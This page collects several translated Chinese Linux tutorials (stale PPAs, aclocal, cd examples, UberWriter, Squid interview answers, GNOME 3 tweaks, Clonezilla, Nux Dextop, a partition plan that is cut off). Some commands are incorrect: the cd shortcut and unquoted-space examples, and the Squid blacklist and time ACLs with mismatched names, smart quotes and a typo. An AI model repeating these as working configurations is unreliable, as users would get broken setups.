Skip to content Skip to main navigation Skip to footer

Linux

Linux:Linux有问必答——如何查找并移除Ubuntu上陈旧的PPA仓库

问题:我试着通过运行apt-get update命令来再次同步包索引文件,但是却出现了“404 无法找到”的错误,看起来似乎是我不能从先前添加的第三方PPA仓库中获取最新的索引。我怎样才能清除这些破损而且陈旧的PPA仓库呢?

Err http://ppa.launchpad.net trusty/main amd64 Packages
  404  Not Found
Err http://ppa.launchpad.net trusty/main i386 Packages
  404  Not Found
W: Failed to fetch http://ppa.launchpad.net/finalterm/daily/ubuntu/dists/trusty/main/binary-amd64/Packages  404  Not Found
W: Failed to fetch http://ppa.launchpad.net/finalterm/daily/ubuntu/dists/trusty/main/binary-i386/Packages  404  Not Found
E: Some index files failed to download. They have been ignored, or old ones used instead.

当你试着更新APT包索引时,“404 无法找到”错误总是会在版本更新之后发生。就是说,在你升级你的Ubuntu发行版后,你在旧的版本上添加的一些第三方PPA仓库就不再受新版本的支持。在此种情况下,你可以像下面这样来鉴别并清除那些破损的PPA仓库

Linux:Linux有问必答——如何查找并移除Ubuntu上陈旧的PPA仓库
Linux:Linux有问必答——如何查找并移除Ubuntu上陈旧的PPA仓库

首先,找出那些引起“404 无法找到”错误的PPA。

$ sudo apt-get update | grep "Failed"

在本例中,Ubuntu Trusty不再支持的PPA仓库是“ppa:finalterm/daily”。

移除PPA仓库吧。

 $ sudo add-apt-repository --remove ppa:finalterm/daily

你得去重复重复再重复,把上面找到的所有过时的PPA仓库一个一个地移除。

在移除所有过时的PPA仓库后,重新运行“apt-get update”命令来检查它们是否都被成功移除。


via: http://ask.xmodulo.com/find-remove-obsolete-ppa-repositories-ubuntu.html

译者:GOLinux 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3874-1.html

Linux:Linux有问必答:如何修复“运行aclocal失败:没有该文件或目录”

问题:我试着在Linux上构建一个程序,该程序的开发版本是使用“autogen.sh”脚本进行的。当我运行它来创建配置脚本时,却发生了下面的错误:

Can't exec "aclocal": No such file or directory at /usr/share/autoconf/Autom4te/FileUtils.pm line 326.
autoreconf: failed to run aclocal: No such file or directory

我怎样才能修复这个程序?

开发版本常常是通过autogen.sh使用程序源代码生成的,构建过程包括验证程序功能和生成配置脚本。autogen.sh脚本依赖于autoreconf来调用autoconf,automake,aclocal和其它相关工具。

Linux:Linux有问必答:如何修复“运行aclocal失败:没有该文件或目录”
Linux:Linux有问必答:如何修复“运行aclocal失败:没有该文件或目录”

丢失的aclocal是automake包的一部分,因此,要修复该错误,请安装以下包。

在Debian,Ubuntu或Linux Mint上:

$ sudo apt-get install automake

在CentOS,Fedora或RHEL上:

$ sudo yum install automake

via: http://ask.xmodulo.com/fix-failed-to-run-aclocal.html

译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3880-1.html

Linux:入门:15个关于Linux的‘cd’命令的练习例子

在Linux中,‘cd‘(改变目录)命令,是对新手和系统管理员来说,最重要最常用的命令。对管理无图形界面的服务器的管理员,‘cd‘是进入目录,检查日志,执行程序/应用软件/脚本和其余每个任务的唯一方法。对新手来说,是他们必须自己动手学习的最初始命令

Linux:入门:15个关于Linux的‘cd’命令的练习例子
Linux:入门:15个关于Linux的‘cd’命令的练习例子

Linux中15个cd命令举例

所以,请用心学习,我们在这会带给你15个基础的‘cd‘命令,它们富有技巧和捷径,学会使用这些了解到的技巧,会大大减少你在终端上花费的努力和时间

课程细节

  • 命令名称:cd
  • 代表:切换目录
  • 使用平台:所有Linux发行版本
  • 执行方式:命令行
  • 权限:访问自己的目录或者其余指定目录
  • 级别:基础/初学者
  1. 从当前目录切换到/usr/local

    avi@tecmint:~$ cd /usr/local
    avi@tecmint:/usr/local$
    
  2. 使用绝对路径,从当前目录切换到/usr/local/lib

    avi@tecmint:/usr/local$ cd /usr/local/lib
    avi@tecmint:/usr/local/lib$
    
  3. 使用相对路径,从当前路径切换到/usr/local/lib

    avi@tecmint:/usr/local$ cd lib
    avi@tecmint:/usr/local/lib$
    
  4. (a)切换当前目录到上一个目录

    avi@tecmint:/usr/local/lib$ cd -
    /usr/local
    avi@tecmint:/usr/local$
    

    (b)切换当前目录到上级目录

    avi@tecmint:/usr/local/lib$ cd ..
    avi@tecmint:/usr/local$
    
  5. 显示我们最后一个离开的工作目录(使用‘-’选项)

    avi@tecmint:/usr/local$ cd --
    /home/avi
    
  6. 从当前目录向上级返回两层

    avi@tecmint:/usr/local$ cd ../../
    avi@tecmint:/$
    
  7. 从任何目录返回到用户home目录

    avi@tecmint:/usr/local$ cd ~
    avi@tecmint:~$
    

    avi@tecmint:/usr/local$ cd
    avi@tecmint:~$
    
  8. 切换工作目录到当前工作目录(LCTT:这有什么意义嘛?!)

    avi@tecmint:~/Downloads$ cd .
    avi@tecmint:~/Downloads$
    

    avi@tecmint:~/Downloads$ cd ./
    avi@tecmint:~/Downloads$
    
  9. 你当前目录是“/usr/local/lib/python3.4/dist-packages”,现在要切换到“/home/avi/Desktop/”,要求:一行命令,通过向上一直切换直到‘/’,然后使用绝对路径

    avi@tecmint:/usr/local/lib/python3.4/dist-packages$ cd ../../../../../home/avi/Desktop/
    avi@tecmint:~/Desktop$
    
  10. 从当前工作目录切换到/var/www/html,要求:不要将命令打完整,使用TAB

    avi@tecmint:/var/www$ cd /v/w/h
    avi@tecmint:/var/www/html$
    
  11. 从当前目录切换到/etc/v__ _,啊呀,你竟然忘了目录的名字,但是你又不想用TAB

    avi@tecmint:~$ cd /etc/v*
    avi@tecmint:/etc/vbox$
    

    请注意:如果只有一个目录以‘v‘开头,这将会移动到‘vbox‘。如果有很多目录以‘v‘开头,而且命令行中没有提供更多的标准,这将会移动到第一个以‘v‘开头的目录(按照他们在标准字典里字母存在的顺序)

  12. 你想切换到用户‘av‘(不确定是avi还是avt)目录,不用TAB

    avi@tecmint:/etc$ cd /home/av?
    avi@tecmint:~$
    
  13. Linux下的pushed和poped

    Pushed和poped是Linux bash命令,也是其他几个能够保存当前工作目录位置至内存,并且从内存读取目录作为当前目录的脚本,这些脚本也可以切换目录

    avi@tecmint:~$ pushd /var/www/html
    /var/www/html ~
    avi@tecmint:/var/www/html$
    

    上面的命令保存当前目录到内存,然后切换到要求的目录。一旦poped被执行,它会从内存取出保存的目录位置,作为当前目录

    avi@tecmint:/var/www/html$ popd
    ~
    avi@tecmint:~$
    
  14. 切换到名字带有空格的目录

    avi@tecmint:~$ cd test tecmint/
    avi@tecmint:~/test tecmint$
    

    avi@tecmint:~$ cd 'test tecmint'
    avi@tecmint:~/test tecmint$
    

    avi@tecmint:~$ cd "test tecmint"/
    avi@tecmint:~/test tecmint$
    
  15. 从当前目录切换到下载目录,然后列出它所包含的内容(使用一行命令)

    avi@tecmint:/usr$ cd ~/Downloads && ls
    ...
    .
    service_locator_in.xls
    sources.list
    teamviewer_linux_x64.deb
    tor-browser-linux64-3.6.3_en-US.tar.xz
    .
    ...
    

我们尝试使用最少的词句和一如既往的友好,来让你了解Linux的工作和执行。

这就是所有内容。我很快会带着另一个有趣的主题回来的。


via: http://www.tecmint.com/cd-command-in-linux/

作者:Avishek Kumar 译者:su-kaiyao 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3881-1.html

Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器

这是一篇快速教程指导我们如何通过官方的PPA源在Ubuntu14.04上安装UberWriter编辑器。

UberWriter是一款Ubuntu下的Markdown编辑器,它简洁的界面能让我们更致力于编辑文字。UberWriter利用了pandoc(一个格式转换器)。但由于UberWriter的UI是基于GTK3的,因此不能完全兼容Unity桌面系统。

Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器
Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器

以下是对UberWriter功能的列举:

  • 简洁的界面
  • 使用pandoc转换markdown
  • 可预览
  • 免打扰模式
  • 拼写检查
  • 语法高亮,能在html和pdf中出现数学公式
  • 支持导出到PDF,HTML,ODT等

在Ubuntu14.04上安装UberWriter

UberWriter可以在Ubuntu软件中心中找到但是安装需要支付5刀。如果你真的喜欢这款编辑器并想为开发者提供一些资金支持的话,我很建议你购买它。

除此之外,UberWriter也能通过官方的PPA源来免费安装。通过如下命令:

sudo add-apt-repository ppa:w-vollprecht/ppa
sudo apt-get update
sudo apt-get install uberwriter

安装完毕之后,你可以通过Unity的Dash运行使用。如你所见,它支持markdown的语法高亮:

Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器
Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器

你可以使用预览功能来查看你的文档:

Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器
Linux:在Ubuntu14.04上安装UberWriterMarkdown编辑器

我尝试导出到PDF的时候被提示安装texlive。

虽然导出到HTML和ODT格式是好的。

在Linux下还有一些其他的markdown编辑器。Remarkable是一款能够实时预览的编辑器,UberWriter却不能,不过总的来说它是一款很不错的应用。如果你在寻找文本编辑器的话,你可以试试Texmaker LaTeX editor

系统这个教程能够帮你在Ubuntu14.04上成功安装UberWriter。我猜想UberWriter在Ubuntu12.04,Linux Mint 17,Elementary OS和其他在Ubuntu的基础上的Linux发行版上也能成功安装。


via: http://itsfoss.com/install-uberwriter-markdown-editor-ubuntu-1404/

作者:Abhishek 译者:John 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3883-1.html

Linux:10个关于linux中Squid代理服务器的实用面试问答

不仅是系统管理员和网络管理员时不时会听到“代理服务器”这个词,我们也经常听到。代理服务器已经成为一种企业常态,而且经常会接触到它。它现在也出现在一些小型的学校或者大型跨国公司的自助餐厅里。Squid(常被视作代理服务的代名词)就是这样一个应用程序,它不但可以被作为代理服务器,其同时也是在该类工具中比较被广泛使用的一种。

本文旨在提高你在遇到关于代理服务器面试点时的一些基本应对能力。

Linux:10个关于linux中Squid代理服务器的实用面试问答
Linux:10个关于linux中Squid代理服务器的实用面试问答

以下为面试问答的内容

1. 什么是代理服务器?代理服务器在计算机网络中有什么用途?

回答 : 代理服务器是指那些作为客户端和资源提供商或服务器之间的中间件的物理机或者应用程序。客户端从代理服务器中寻找文件、页面或者是数据,而且代理服务器能处理客户端与服务器之间所有复杂事务,从而满足客户端的生成的需求。

代理服务器是WWW(万维网)的支柱,它们其中大部分都是Web代理。一台代理服务器能处理客户端与服务器之间的复杂通信事务。此外,它在网络上提供的是匿名信息(LCTT 译注:指浏览者的 IP、浏览器信息等被隐藏),这就意味着你的身份和浏览痕迹都是安全的。代理可以去配置允许哪些网站的客户能看到,哪些网站被屏蔽了。

2. Squid是什么?

回答 : Squid是一个在GNU/GPL协议下发布的既可作为代理服务器,同时也可作为Web缓存守护进程的应用软件。Squid主要是支持像HTTP和FTP那样的协议,但是对其它的协议比如HTTPS,SSL,TLS等同样也能支持。其特点是Web缓存守护进程通过从经常上访问的网站里缓存Web和DNS数据,从而让上网速度更快。Squid支持所有的主流平台,包括Linux,UNIX,微软公司的Windows和苹果公司的Mac。

3. Squid的默认端口是什么?怎么去修改它的操作端口?

回答 : Squid运行时的默认端口是3128。我们可以通过编辑它的配置文件来把它的默认端口修改成未被用户使用的端口,路径是 /etc/squid/squid.conf ,建议如下。

用你的编辑器打开 ‘/etc/squid/squid.conf’ 文件。

# nano /etc/squid/squid.conf

现在把它修改成未被使用的其它端口,并保存退出。

http_port 3128

重新启动Squid代理服务,如下显示。

# service squid restart

4. 你的公司管理层要求你通过Squid代理服务器屏蔽掉一些域名,你怎么做?

回答 : 屏蔽域名是一个在配置文件中实现的功能模块。我们只需要执行一个小的手动配置即可,建议如下。

a. 在 ‘/etc/squid’ 目录下创建一个名为 ‘blacklist’ 的文件。

# touch /etc/squid/blacklist

b. 用nano编辑器打开这个文件。

 # nano /etc/squid/blacklist

c. 以每行一个域名的方式将想要屏蔽的域名写进这个文件里。

.facebook.com
.twitter.com
.gmail.com
.yahoo.com
...

d. 保存退出,然后从 ‘/etc/squid/squid.conf’ 打开Squid配置文件。

# nano /etc/squid/squid.conf

e. 在配置文件中添加如下行。

acl BLACKLIST dstdom_regex -i “/etc/squid/blacklist”
http_access deny blacklist

f. 保存配置文件并退出,重启Squid服务让其生效。

# service squid restart

5. 在Squid中什么是媒体范围限制(Media Range Limitation)和部分下载?

回答 : 媒体范围限制是Squid的一种特殊的功能,它只从服务器中获取所需要的数据而不是整个文件。这个功能很好的实现了用户在各种视频流媒体网站如YouTube和Metacafe看视频时,可以点击视频中的进度条来选择进度,因此整个视频不用全部都加载,除了一些需要的部分。

Squid部分下载功能的特点是很好地实现了类似在Windows更新时能以一个个小数据包的形式下载,并可以暂停,正因为它的这个特点,正在下载文件的Windows机器可以重新继续下载,而不用担心数据会丢失。Squid的媒体范围限制和部分下载功能只有在存储了一个完整文件的副本之后才行。此外,当用户访问另一个页面时,除非Squid进行了特定的配置,部分下载下来的文件会被删除且不留在缓存中。

6. 什么是Squid的反向代理?

回答 : 反向代理是Squid的一个功能,这个功能被用来加快最终用户的上网速度。下面用缩写 ‘RS’ 的表示包含了资源的原服务器,而代理服务器则称作 ‘PS’ 。初次访问时,它会从RS得到其提供的数据,并将其副本按照配置好的时间存储在PS上。这样的话每次从PS上请求的数据就相当于就是从原服务器上获取的。这样就会减轻网络拥堵,减少CPU使用率,降低网络资源的利用率,从而缓解原来实际服务器的负载压力。但是RS统计不了总流量的数据,因为PS分担了部分原服务器的任务。‘X-Forwarded-For HTTP’ 信息能用于记录下通过HTTP代理或负载均衡方式连接到RS的客户端最原始的IP地址。

从技术上说,用单个Squid服务器同时作为正向代理服务器和反向代理服务器是可行的。

7. 由于Squid能作为一个Web缓存守护进程,那缓存可以删除吗?怎么删除?

回答 : 当然!作为一个Web缓存守护进程,Squid能加快网页的访问速度,清除缓存也是非常简单的。

a. 首先停止Squid代理服务,然后从这个 ‘/var/lib/squid/cache’ 目录中删除缓存。

# service squid stop
# rm -rf /var/lib/squid/cache/*<

b. 创建交换分区目录。

# squid -z

8. 你有一台工作中的机器可以访问代理服务器,如果想要限制你的孩子的访问时间,你会怎么去设置那个场景?

把允许访问的时间设置成晚上4点到7点三个小时,跨度为星期一到星期五。

a. 想要限制Web访问时间在星期一到星期五的晚上4点到7点,要先打开Squid的配置文件。

# nano /etc/squid/squid.conf

b. 在配置文件中添加如下行,保存文件并退出。

acl ALLOW_TIME time M T W H F 16:00-19:00
shttp_access allow ALLOW_TIME

c. 重启Squid服务。

# service squid restart

9. Squid存储的数据是什么文件格式?

回答 : Squid存储的数据是UFS文件格式的。UFS是一种老的,使用比较广泛的Squid存储格式

10. Squid的缓存会存储到哪里?

回答 : Squid存储的缓存是位于 ‘/var/spool/squid’ 的特定目录下。

以上就是全部内容了,很快我还会带着其它有趣的内容回到这里。


via: http://www.tecmint.com/squid-interview-questions/

作者:Avishek Kumar 译者:ZTinoZ 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3884-1.html

Linux:轻而易举提升GNOME 3效率

极少Linux桌面像GNOME 3一样饱受争议。自发布以来,它被奚落,被挖苦,还被痛恨。事情是,它实际上是一个很不错的桌面。它牢固、可靠、稳定、优雅、简洁……而且带有一些小的调整和附加的东西,它可以做成市面上最高效、最友好的桌面之一。

当然,什么才是高效而又/或者是用户友好的桌面呢?那取决于观念——每个人都有的东西。归根到底,我的目标是帮助你快速访问你要用到的应用和文件。简单吧。不管你信不信,将GNOME 3一步一步变成更为高效而又用户友好的世界是一项十分容易的任务——你只需要知道哪里去查看以及做些什么即可。在这里,我会引领你去往正确的方向。

我决定从这里开始着手这个事情,首先安装一个干净的Ubuntu GNOME发行版开始,该安装包含有一个GNOME 3.12桌面。在以GNOME为中心的桌面准备好后,就该开始对它进行微调了。

添加窗口按钮

出于一些未知的原因,GNOME的开发者们决定对标准的窗口按钮(关闭,最小化,最大化)不屑一顾,而支持只有单个关闭按钮的窗口了。我缺少了最大化按钮(虽然你可以简单地拖动窗口到屏幕顶部来将它最大化),而且也可以通过在标题栏右击选择最小化或者最大化来进行最小化/最大化操作。这种变化仅仅增加了操作步骤,因此缺少最小化按钮实在搞得人云里雾里。所幸的是,有个简单的修复工具可以解决这个问题,下面说说怎样做吧:

默认情况下,你应该安装了GNOME优化工具(GNOME Tweak Tool)。通过该工具,你可以打开最大化或最小化按钮(图1)。

Linux:轻而易举提升GNOME 3效率
Linux:轻而易举提升GNOME 3效率

图 1: 添加回最小化按钮到GNOME 3窗口

添加完后,你就可以看到最小化按钮了,它在关闭按钮的左边,等着为你服务呢。你的窗口现在管理起来更方便了。

同样在这个优化工具中,你也可以对GNOME进行大量其它有帮助的配置:

  • 设置窗口聚焦模式
  • 设置系统字体
  • 设置GNOME主题
  • 添加启动应用
  • 添加扩展

添加扩展

GNOME 3的最佳特性之一,就是shell扩展,这些扩展为GNOME带来了各种类别的有用特性。关于shell扩展,没必要从包管理器去安装。你可以访问GNOME Shell扩展站点,搜索你想要添加的扩展,点击扩展列表,点击打开按钮,然后扩展就安装完成了;或者你也可以从GNOME优化工具中添加它们(你在网站上会找到更多可用的扩展)。

注:你可能需要在浏览器中允许扩展安装。如果出现这样的情况,你会在第一次访问GNOME Shell扩展站点时见到警告信息。当出现提示时,只要点击允许即可。

令人印象更为深刻的(而又得心应手的)扩展之一,就是Dash to Dock

该扩展将Dash移出应用程序概览,并将它转变为相当标准的停靠栏(图2)。

Linux:轻而易举提升GNOME 3效率
Linux:轻而易举提升GNOME 3效率

图 2: Dash to Dock添加一个停靠栏到GNOME 3

当你添加应用程序到Dash后,他们也将被添加到Dash to Dock。你也可以通过点击Dock底部的6点图标访问应用程序概览。

还有大量其它扩展致力于将GNOME 3打造成一个更为高效的桌面,在这些不错的扩展中,包括以下这些:

  • 最近项目: 添加一个最近使用项目的下拉菜单到面板。
  • Firefox书签搜索: 从概览搜索(并启动)书签。
  • 跳转列表: 添加一个跳转列表弹出菜单到Dash图标(该扩展可以让你快速打开和程序关联的新文档,甚至更多)
  • 待办列表: 添加一个下拉列表到面板,它允许你添加项目到该列表。
  • 网页搜索框: 允许你通过敲击Ctrl+空格来快速搜索网页并输入一个文本字符串(结果在新的浏览器标签页中显示)。

添加一个完整停靠栏

如果Dash to dock对于你而言功能还是太有限(你想要“通知区域”,甚至更多),那么向你推荐我最喜爱的停靠栏之一Cairo Dock(图3)。

Linux:轻而易举提升GNOME 3效率
Linux:轻而易举提升GNOME 3效率

图 3: Cairo Dock待命

在将Cairo Dock添加到GNOME 3后,你的体验将成倍地增长。从你的发行版的包管理器中安装这个优秀的停靠栏吧。

不要将GNOME 3看作是一个效率不高的,用户不友好的桌面。只要稍作调整,GNOME 3可以成为和其它可用的桌面一样强大而用户友好的桌面。


via: http://www.linux.com/learn/tutorials/781916-easy-steps-to-make-gnome-3-more-efficient

作者:Jack Wallen 译者:GOLinux 校对: wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3887-1.html

Linux:使用Clonezilla对硬盘进行镜像和克隆

Clonezilla是一个用于Linux,Free-Net-OpenBSD,Mac OS X,Windows以及Minix的分区和磁盘克隆程序。它支持所有主要的文件系统,包括EXT,NTFS,FAT,XFS,JFS和Btrfs,LVM2,以及VMWare的企业集群文件系统VMFS3和VMFS5。Clonezilla支持32位和64位系统,同时支持旧版BIOS和UEFI BIOS,并且同时支持MBR和GPT分区表。它是一个用于完整备份Windows系统和所有安装于上的应用软件的好工具,而我喜欢用它来为Linux测试系统做备份,以便我可以在其上做疯狂的实验搞坏后,可以快速恢复它们。

Clonezilla也可以使用dd命令来备份不支持的文件系统,该命令可以复制块而非文件,因而不必在意文件系统。简单点说,就是Clonezilla可以复制任何东西。(关于块的快速说明:磁盘扇区是磁盘上最小的可编址存储单元,而块是由单个或者多个扇区组成的逻辑数据结构。)

Clonezilla分为两个版本:Clonezilla Live和Clonezilla Server Edition(SE)。Clonezilla Live对于将单个计算机克隆到本地存储设备或者网络共享来说是一流的。而Clonezilla SE则适合更大的部署,用于一次性快速多点克隆整个网络中的PC。Clonezilla SE是一个神奇的软件,我们将在今后讨论。今天,我们将创建一个Clonezilla Live USB存储棒,克隆某个系统,然后恢复它。

Linux:使用Clonezilla对硬盘进行镜像和克隆
Linux:使用Clonezilla对硬盘进行镜像和克隆

Clonezilla和Tuxboot

当你访问下载页时,你会看到稳定版和可选稳定发行版。也有测试版本,如果你有兴趣帮助改善Clonezilla,那么我推荐你使用此版本。稳定版基于Debian,不含有非自由软件。可选稳定版基于Ubuntu,包含有一些非自由固件,并支持UEFI安全启动。

在你下载Clonezilla后,请安装Tuxboot来复制Clonezilla到USB存储棒。Tuxboot是一个Unetbootin的修改版,它支持Clonezilla;你不能使用Unetbootin,因为它无法配合工作。安装Tuxboot有点让人头痛,然而Ubuntu用户通过个人包归档包(PPA)方便地安装:

$ sudo apt-add-repository ppa:thomas.tsai/ubuntu-tuxboot
$ sudo apt-get update
$ sudo apt-get install tuxboot

如果你没有运行Ubuntu,并且你的发行版不包含打包好的Tuxboot版本,那么请下载源代码tarball,并遵循README.txt文件中的说明来编译并安装。

Linux:使用Clonezilla对硬盘进行镜像和克隆
Linux:使用Clonezilla对硬盘进行镜像和克隆
图1: 在USB存储棒上为Clonezilla创建分区

安装完Tuxboot后,就可以使用它来创建你精巧的可直接启动的Clonezilla USB存储棒了。首先,创建一个最小200MB的FAT 32分区;图1(上图)展示了使用GParted来进行分区。我喜欢使用类似“Clonezilla”这样的标签,这会让我知道它是个什么东西。该例子中展示了将一个2GB的存储棒格式化成一个单个分区。

然后,启动Tuxboot(图2)。选中“预下载的(Pre-downloaded)”然后点击带省略号的按钮来选择Clonezilla文件。它会自动发现你的USB存储棒,而你需要选中分区号来确保它找到的是正确的那个,我的例子中是/dev/sdd1。点击确定,然后当它完成后点击退出。它会问你是否要重启动,不要担心,现在不用重启。现在你有一个精巧的便携式Clonezilla USB存储棒了,你可以随时随地使用它了。

Linux:使用Clonezilla对硬盘进行镜像和克隆
Linux:使用Clonezilla对硬盘进行镜像和克隆
图2: 启动Tuxboot

创建磁盘镜像

在你想要备份的计算机上启动Clonezilla USB存储棒,第一个映入你眼帘的是常规的启动菜单。启动到默认条目。你会被问及使用何种语言和键盘,而当你到达启动Clonezilla菜单时,请选择启动Clonezilla。在下一级菜单中选择设备镜像,然后进入下一屏。

这一屏有点让人摸不着头脑,里头有什么localdev,sshserver,sambaserver,以及nfsserver之类的选项。这里就是要你选择将备份的镜像拷贝到哪里,目标分区或者驱动器必须和你要拷贝的卷要一样大,甚至更大。如果你选择localdev,那么你需要一个足够大的本地分区来存储你的镜像。附加的USB硬盘驱动器是一个不错的,快速而又简单的选项。如果你选择任何服务器选项,你需要能连接到服务器,并提供IP地址并登录上去。我将使用一个本地分区,这就是说要选择localdev。

当你选择local_dev时,Clonezilla会扫描所有连接到本地的存储折本,包括硬盘和USB存储设备。然后,它会列出所有分区。选择你想要存储镜像的分区,然后它会问你使用哪个目录并列出目录。选择你所需要的目录,然后进入下一屏,它会显示所有的挂载以及已使用/可用的空间。按回车进入下一屏,请选择初学者还是专家模式。我选择初学者模式。

在下一屏中,你可以选择存盘,就是选择创建整个硬盘的镜像,还是创建分区镜像,创建分区镜像允许你选择单个分区。我想要选择分区。

下一屏中,它会问你新建镜像的名称。在接受默认名称,或者输入你自己的名称后,进入下一屏。Clonezilla会扫描你所有的分区并创建一个检查列表,你可以从中选择你想要拷贝的。选择完后,在下一屏中会让你选择是否进行文件系统检查并修复。我才没这耐心,所以直接跳过了。

下一屏中,会问你是否想要Clonezilla检查你新创建的镜像,以确保它是可恢复的。选“是”吧,确保万无一失。接下来,它会给你一个命令行提示,如果你想用命令行而非GUI,那么你必须再次按回车。你需要再次确认,并输入y来确认制作拷贝。

在Clonezilla创建新镜像的时候,你可以好好欣赏一下这个友好的红、白、蓝三色的进度屏(图3)。

Linux:使用Clonezilla对硬盘进行镜像和克隆
Linux:使用Clonezilla对硬盘进行镜像和克隆
图3: 守候创建新镜像

全部完成后,按回车然后选择重启,记得拔下你的Clonezilla USB存储棒。正常启动计算机,然后去看看你新创建的Clonezilla镜像吧。你应该看到像下面这样的东西:

$ ls -l /2014-08-07-11-img/
total 1241448
-rw-r--r-- 1 root root       1223 Aug  7 04:22 blkdev.list
-rw-r--r-- 1 root root        636 Aug  7 04:22 blkid.list
-rw-r--r-- 1 root root       3658 Aug  7 04:24 clonezilla-img
-rw-r--r-- 1 root root      12379 Aug  7 04:24 Info-dmi.txt
-rw-r--r-- 1 root root      22685 Aug  7 04:24 Info-lshw.txt
-rw-r--r-- 1 root root       3652 Aug  7 04:24 Info-lspci.txt
-rw-r--r-- 1 root root        171 Aug  7 04:24 Info-packages.txt
-rw-r--r-- 1 root root         86 Aug  7 04:24 Info-saved-by-cmd.txt
-rw-r--r-- 1 root root          5 Aug  7 04:24 parts
-rw------- 1 root root 1270096769 Aug  7 04:24 sda6.ext4-ptcl-img.gz.aa
-rw-r--r-- 1 root root         37 Aug  7 04:22 sda-chs.sf
-rw-r--r-- 1 root root    1048064 Aug  7 04:22 sda-hidden-data-after-mbr
-rw-r--r-- 1 root root        512 Aug  7 04:22 sda-mbr
-rw-r--r-- 1 root root        750 Aug  7 04:22 sda-pt.parted
-rw-r--r-- 1 root root        625 Aug  7 04:22 sda-pt.parted.compact
-rw-r--r-- 1 root root        514 Aug  7 04:22 sda-pt.sf

恢复Clonezilla镜像

恢复镜像和创建镜像类似。再次使用Clonezilla启动,经过同样的初始化步骤后,选择devimage,然后在localdev屏,选择你要恢复的镜像所在的位置,它要么在本地设备上,要么在网络共享上。然后继续下面的操作,确保你的恢复镜像正确,并选择了正确的位置。

你可以在Clonezilla Live文档页获得更多Clonezilla的神奇力量。


via: http://www.linux.com/learn/tutorials/783416-how-to-image-and-clone-hard-drives-with-clonezilla

作者:Carla Schroder 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3888-1.html

Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库

问题: 我想要安装一个在Nux Dextop仓库的RPM包。我该如何在CentOS或者RHEL上设置Nux Dextop仓库?

Nux Dextop是一个面对CentOS、RHEL、ScientificLinux的含有许多流行的桌面和多媒体相关的包的第三方RPM仓库(比如:Ardour,Shutter等等)。目前,Nux Dextop桌面对CentOS和RHEL 6/7可用。

Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库
Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库

要在CentOS或者RHEL上启用Nux Dextop,遵循下面的步骤。

首先,要知道Nux Dextop被设计与EPEL仓库共存。因此,你需要在使用Nux Dexyop仓库前先启用 EPEL

启用EPEL后,用下面的命令安装Nux Dextop仓库。

在 CentOS/RHEL 6.* 上:

$ sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el6/x86_64/nux-dextop-release-0-2.el6.nux.noarch.rpm

在 CentOS/RHEL 7 上 :

$ sudo rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm

现在验证Nux Dextop仓库是否已经成功安装:

$ yum repolist
Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库
Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库

对于 Repoforge/RPMforge 用户

据作者所说,目前已知Nux Dextop会与其他第三方库比如Repoforge和ATrpms相冲突。因此,如果你启用了除了EPEL的其他第三方库,强烈建议你将Nux Dextop仓库设置成“default off”(默认关闭)状态。就是用文本编辑器打开/etc/yum.repos.d/nux-dextop.repo,并且在nux-desktop下面将”enabled=1″ 改成 “enabled=0″。

$ sudo vi /etc/yum.repos.d/nux-dextop.repo
Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库
Linux:Linux有问必答:如何在CentOS或者RHEL上启用Nux Dextop仓库

无论何时当你从Nux Dextop仓库安装包时,显式地用下面的命令启用仓库。

 $ sudo yum --enablerepo=nux-dextop install 

via: http://ask.xmodulo.com/enable-nux-dextop-repository-centos-rhel.html

译者:geekpi 校对: wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-3889-1.html

Linux:必须强迫症!160GB硬盘双系统整数分区推荐方案

Linux:必须强迫症!160GB硬盘双系统整数分区推荐方案
Linux:必须强迫症!160GB硬盘双系统整数分区推荐方案

以下是我在 160GB 硬盘上的分区方案,采用 Windows Server 2003 SP232位)、CentOS Linux 6.564位)双系统,作为日常办公桌面环境使用。

基本思路是这样的:

  1. 各分区大小尽可能为整数,看上去舒服一些(有些强迫症);
  2. 两个系统之间需要进行文件共享和数据交换;
  3. 使用过程中,双系统尽量不发生干扰,避免误操作对另一系统破坏;
  4. 重新安装系统时不影响用户数据。
  5. 日常办公使用,主要进行文档字处理,有少量图片制作和编辑,不作为数据服务器使用。

具体分区如下(Linux 环境 fdisk 显示效果):

Device Boot Start End Blocks Id System
/dev/sda1 * 1 1175 9438156 7 HPFS/NTFS
/dev/sda2 1176 2505 10683225 83 Linux
/dev/sda3 2506 19457 136166940 5 Extended
/dev/sda5 2506 5116 20972826 7 HPFS/NTFS
/dev/sda6 5117 9033 31463271 7 HPFS/NTFS
/dev/sda7 9034 12954 31495401 b W95 FAT32
/dev/sda8 12955 19457 52235316 83 Linux  

Windows 四个分区:

C(NTFS) 操作系统、D(NTFS) 应用软件、E(NTFS) 工作专区、F(FAT32) 交换存储。

Linux两个分区:

/(Ext4) 操作系统、/home(Ext4) 用户数据,将Windows的四个分区自动挂载,其中CDE盘采用只读方式挂载保护原有数据,F盘以读写方式挂载以便在两个系统交换数据。

关于swap分区的说明:

